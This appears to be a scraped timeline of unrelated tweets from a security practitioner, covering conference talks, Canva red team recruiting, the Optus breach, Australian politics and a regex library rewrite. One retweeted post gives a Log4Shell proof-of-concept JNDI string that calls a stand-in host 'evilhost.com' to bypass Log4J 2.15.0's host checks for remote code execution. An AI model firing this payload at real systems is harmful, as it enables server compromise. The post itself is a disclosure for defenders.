Thanks to Louis Nyffenegger and PentesterLab from the Canva security team! Appreciate the swag!

Dom Pedro II, the second and last monarch of the Empire of Brazil. Now, take a deep breath. You're not ready to know his full name.

I’m very excited to announce Boundary! Simple and secure identity-based access to hosts and services. Free and open source. 0.1 available today and an exciting roadmap ahead. hashicorp.com/blog/hashicorp…

Important thread why titles matter!

Last call on our workshops and training! We're going to close these off tomorrow evening so that the presenters have time to prepare. Honestly, we have such an amazing team, I highly encourage you to sign up and come along. Links below.

Did y'all know that a lot of white people don't have the cultural concept of "real talk"? You know where you stop saying the diplomatic thing and tell people what's really going on. They just don't have it. You try to have a moment of "real talk" and they freak the fuck out.

Excellent thread and absolutely agree with it. Clarity and common understanding is always a first step when solving complex problems.

‼️‼️ Dentre as recomendações feitas no relatório, destaca-se uma direcionada à Assembleia Legislativa de Rondônia, que deveria abster-se de “aprovar qualquer lei que reduza os limites e a proteção da Reserva Extrativista do Rio Jaci-Paraná.” ‼️‼️

Talking in 30 minutes at PyCon AU in the best track snakeoilacademy!

Now watching AppSec on a budget with Mário Areias at #PyConlineAU

Are you a great Red Teamer looking for a change of pace? We are looking for advanced operators with excellent technical skills. Come and join us at Canva Red Team. DM me if you'd like to have a confidential chat about a job.

So good! Another amazing year for Snake Oil Academy :)

FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n

Looking forward to speaking Sage #SageSecurityChampionConference22 next week!   This event is an internal event for Sage's technical security champions and engineering colleagues! I'm going to be speaking about Thread Modelling the Death Star. Can’t wait!

Worth carefully reading this post from They Vote For You. LNP Senators are complaining about being misrepresented, but in many cases they have voted differently to their public views.

UPDATE: I reached the person who claims to have hacked Optus. I've also been contacted by a second, separate source who says the hacker's version of events is approximately correct. Here's what they said. #OptusHack #infosec #auspol

The stage 3 tax cuts are too big to fit on a single screen. We had to get creative to put them into perspective. ab.co/446sA85

I've spent the last 3 years or so working on a rewrite of the regex crate. Much of that time has gone into publishing the crate internals as its own separately versioned library. I wrote about the final result here: blog.burntsushi.net/regex-internal…